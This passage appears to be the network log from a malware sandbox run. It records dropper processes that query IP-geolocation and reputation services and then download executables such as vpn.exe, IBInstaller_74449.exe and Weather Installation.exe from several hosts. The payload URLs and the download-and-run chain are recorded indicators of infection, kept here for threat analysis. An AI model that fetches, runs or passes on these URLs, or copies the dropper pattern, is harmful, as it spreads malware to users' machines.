                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DAlUGncZHlauP2E%2FeN2dfCsjfTtA6YP16etYfGNdRsGQgbGQlxAbvzsJE2ZRH8kGeKz7coqIjKtROA9lCzYbf3MSxVmhYv2XHwTI76nk7C9Dlrk0EcZv3BA6Gw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327f27d604bef-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://ipinfo.io/country
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /country HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          x-frame-options: DENY
                                                                                                                                                                                                                                          x-xss-protection: 1; mode=block
                                                                                                                                                                                                                                          x-content-type-options: nosniff
                                                                                                                                                                                                                                          referrer-policy: strict-origin-when-cross-origin
                                                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                                                          content-length: 3
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:12 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 1
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                          Alt-Svc: clear
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          ipqualityscore.com
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          ipqualityscore.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          ipqualityscore.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          172.67.72.12
                                                                                                                                                                                                                                          ipqualityscore.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.26.3.60
                                                                                                                                                                                                                                          ipqualityscore.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          104.26.2.60
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://ipqualityscore.com/api/json/ip/gp65l99h87k3l1g0owh8fr8v99dme/154.61.71.13
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.72.12:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /api/json/ip/gp65l99h87k3l1g0owh8fr8v99dme/154.61.71.13 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipqualityscore.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 403 Forbidden
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:12 GMT
                                                                                                                                                                                                                                          Content-Type: text/plain; charset=UTF-8
                                                                                                                                                                                                                                          Content-Length: 16
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ty5IHQKVPcUwBrjmnZi2Q8uXWcA66lcQNmuZ%2FnUYHsogC%2BJJK0fpL4Lpes1WVAFPIMW%2BInr6fyGSTq79QVxVQVb10aoIbbdZCPKTPxKrn651KLuQuR4oFoObJt7EB4ZBlzlGIA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327f47cbafa20-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://ipqualityscore.com/api/json/ip/gp65l99h87k3l1g0owh8fr8v99dme/154.61.71.13
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.72.12:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /api/json/ip/gp65l99h87k3l1g0owh8fr8v99dme/154.61.71.13 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipqualityscore.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 403 Forbidden
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:12 GMT
                                                                                                                                                                                                                                          Content-Type: text/plain; charset=UTF-8
                                                                                                                                                                                                                                          Content-Length: 16
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4%2B4VmS30YFVCM8FYPa%2BGRexFqJwQhThl%2Bx%2BebiCN7y7vTf4rT08AaoNq9BTLMmhkl6OkcmiRPFFLSsTongFDm043Lype3f6Iy2NCqZby9nlrbL0MGOCuM9fLNi1HfQgtlmgUzA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327f61f98725d-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          ingstorage.com
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          ingstorage.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          ingstorage.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          5.182.39.145
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://ingstorage.com/windows/storage/IBInstaller_74449.exe
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          5.182.39.145:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /windows/storage/IBInstaller_74449.exe HTTP/1.0
                                                                                                                                                                                                                                          Host: ingstorage.com
                                                                                                                                                                                                                                          User-Agent: InnoTools_Downloader
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:13 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:02:37 GMT
                                                                                                                                                                                                                                          ETag: "113c34b-5ca0ee235c8a1"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 18072395
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          duzlwewk2uk96.cloudfront.net
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          duzlwewk2uk96.cloudfront.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          duzlwewk2uk96.cloudfront.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          52.222.137.163
                                                                                                                                                                                                                                          duzlwewk2uk96.cloudfront.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          52.222.137.218
                                                                                                                                                                                                                                          duzlwewk2uk96.cloudfront.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          52.222.137.29
                                                                                                                                                                                                                                          duzlwewk2uk96.cloudfront.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          52.222.137.124
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://duzlwewk2uk96.cloudfront.net/vpn.exe
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          52.222.137.163:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /vpn.exe HTTP/1.0
                                                                                                                                                                                                                                          Host: duzlwewk2uk96.cloudfront.net
                                                                                                                                                                                                                                          User-Agent: InnoTools_Downloader
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Content-Length: 15699416
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 01:14:29 GMT
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 01:11:52 GMT
                                                                                                                                                                                                                                          ETag: "c84dcad35fc54071c78e910a8a7ec7ea"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Server: AmazonS3
                                                                                                                                                                                                                                          X-Cache: Hit from cloudfront
                                                                                                                                                                                                                                          Via: 1.1 292bf579bbf52fb581ef04e0d0f088e8.cloudfront.net (CloudFront)
                                                                                                                                                                                                                                          X-Amz-Cf-Pop: AMS50-C1
                                                                                                                                                                                                                                          X-Amz-Cf-Id: DKrFEyecm9YMGGXFuRnExvbngvW6eqga1fczgC6jBdTwX89l4c8JKg==
                                                                                                                                                                                                                                          Age: 33045
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://ipqualityscore.com/api/json/ip/gp65l99h87k3l1g0owh8fr8v99dme/154.61.71.13
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          172.67.72.12:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /api/json/ip/gp65l99h87k3l1g0owh8fr8v99dme/154.61.71.13 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: ipqualityscore.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 403 Forbidden
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:13 GMT
                                                                                                                                                                                                                                          Content-Type: text/plain; charset=UTF-8
                                                                                                                                                                                                                                          Content-Length: 16
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Y1RAAs%2BNDA9%2FQQE0%2B04uJqy1j2aLkbSTQdeep9w%2B0zMDl71YA%2BW8HMFHzFU%2B0%2B7NhT7ef6tMO6fDWdw%2FoNHgUzM%2B3ie2Ma%2Fnyew7vvLrGtxvh9alJjf5VEkljCrVb3ngHOtnIA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682327fa8aea00fc-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://duzlwewk2uk96.cloudfront.net/vpn.exe
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          52.222.137.163:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /vpn.exe HTTP/1.0
                                                                                                                                                                                                                                          Host: duzlwewk2uk96.cloudfront.net
                                                                                                                                                                                                                                          User-Agent: InnoTools_Downloader
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Content-Length: 15699416
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 01:14:29 GMT
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 01:11:52 GMT
                                                                                                                                                                                                                                          ETag: "c84dcad35fc54071c78e910a8a7ec7ea"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Server: AmazonS3
                                                                                                                                                                                                                                          X-Cache: Hit from cloudfront
                                                                                                                                                                                                                                          Via: 1.1 52102486f97ad6ff39f81538f01349ab.cloudfront.net (CloudFront)
                                                                                                                                                                                                                                          X-Amz-Cf-Pop: AMS50-C1
                                                                                                                                                                                                                                          X-Amz-Cf-Id: Ak-7H8In2dn1SueRIfa9OiMDuf1y4u_R1NGkZS7EuGk9n4sKoucncg==
                                                                                                                                                                                                                                          Age: 33045
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ingstorage.com/windows/storage/IBInstaller_74449.exe
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          5.182.39.145:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /windows/storage/IBInstaller_74449.exe HTTP/1.0
                                                                                                                                                                                                                                          Host: ingstorage.com
                                                                                                                                                                                                                                          User-Agent: InnoTools_Downloader
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:13 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 10:02:37 GMT
                                                                                                                                                                                                                                          ETag: "113c34b-5ca0ee235c8a1"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 18072395
                                                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          www.listincode.com
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          www.listincode.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          www.listincode.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          144.202.76.47
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          www.listincode.com
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          www.listincode.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          www.listincode.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          144.202.76.47
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://script.googleusercontent.com/macros/echo?user_content_key=CRRziMpGplySNtYySZG0oCdHfmV5C-N9UZJJZydhClnKq1aId4kKFSmW2SfEv2AiboW1XRm99vz1YY8Tku19mUNVZ1qxPtDhm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1
                                                                                                                                                                                                                                          VqlG4eaMdZf6UGnUp4gJCuRA.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          142.250.179.193:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /macros/echo?user_content_key=CRRziMpGplySNtYySZG0oCdHfmV5C-N9UZJJZydhClnKq1aId4kKFSmW2SfEv2AiboW1XRm99vz1YY8Tku19mUNVZ1qxPtDhm5_BxDlH2jW0nuo2oDemN9CCS2h10ox_1xSncGQajx_ryfhECjZEnPhKCLyZq3DwHfqx-vNDfBxNiphd5qAR0ibuTxh7iJkSRySVufnhQmkdY4Wogr0tuKOIp7sEUsJ2&lib=M2KHH-rP8mk8ZTQoj1F9z5U17J_BaZEX1 HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: script.googleusercontent.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Content-Type: application/json; charset=utf-8
                                                                                                                                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                          Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Expires: Mon, 01 Jan 1990 00:00:00 GMT
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:14 GMT
                                                                                                                                                                                                                                          X-Frame-Options: SAMEORIGIN
                                                                                                                                                                                                                                          Content-Security-Policy: frame-ancestors 'self'
                                                                                                                                                                                                                                          X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                          Server: GSE
                                                                                                                                                                                                                                          Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
                                                                                                                                                                                                                                          Accept-Ranges: none
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          s3.tebi.io
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          s3.tebi.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          s3.tebi.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          188.40.106.215
                                                                                                                                                                                                                                          s3.tebi.io
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          144.76.17.137
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://s3.tebi.io/kan-web-ae/stub/Weather%20Installation.exe
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.40.106.215:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /kan-web-ae/stub/Weather%20Installation.exe HTTP/1.0
                                                                                                                                                                                                                                          Host: s3.tebi.io
                                                                                                                                                                                                                                          User-Agent: InnoTools_Downloader
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 200 OK
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 3492104
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Etag: "9ba72bc292f3735fe68e032bf530c4b8"
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 09:16:52 GMT
                                                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                                                          X-Amz-Id-2: node-de-5
                                                                                                                                                                                                                                          X-Amz-Request-Id: 1629541513.885539
                                                                                                                                                                                                                                          X-Tb-Replication: DE:1,USE:1,USW:1
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:13 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://www.listincode.com/
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          144.202.76.47:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET / HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
                                                                                                                                                                                                                                          Host: www.listincode.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:24 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Content-Length: 2
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          X-Powered-By: PHP/5.4.45
                                                                                                                                                                                                                                          Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://s3.tebi.io/kan-web-ae/stub/Weather%20Installation.exe
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          188.40.106.215:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /kan-web-ae/stub/Weather%20Installation.exe HTTP/1.0
                                                                                                                                                                                                                                          Host: s3.tebi.io
                                                                                                                                                                                                                                          User-Agent: InnoTools_Downloader
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.0 200 OK
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 3492104
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Etag: "9ba72bc292f3735fe68e032bf530c4b8"
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 09:16:52 GMT
                                                                                                                                                                                                                                          Server: Caddy
                                                                                                                                                                                                                                          X-Amz-Id-2: node-de-5
                                                                                                                                                                                                                                          X-Amz-Request-Id: 1629541514.123122
                                                                                                                                                                                                                                          X-Tb-Replication: DE:1,USE:1,USW:1
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:14 GMT
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          most-fast-link-download.com
                                                                                                                                                                                                                                          DllHost.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          most-fast-link-download.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          most-fast-link-download.com
                                                                                                                                                                                                                                          DllHost.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          most-fast-link-download.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          perfect-request-smart.com
                                                                                                                                                                                                                                          GameBoxWin64.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          perfect-request-smart.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          perfect-request-smart.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          66.29.130.154
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p5_1
                                                                                                                                                                                                                                          PBrowFile15.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p5_1 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:14 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=w8n0NJ%2F7Z1Wn6E9k8PoMi2x%2FeMNYF04VEbda5BEzdWqzpVUPoX%2BLCAOEvgHOefCi2YXBAp%2B9XlSL5ckA%2Bc7pF8CuKwH88594qgQ4DxD5QChXf8AeHEfSuK4NfzRtMKhGNhuhkPLy1A%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
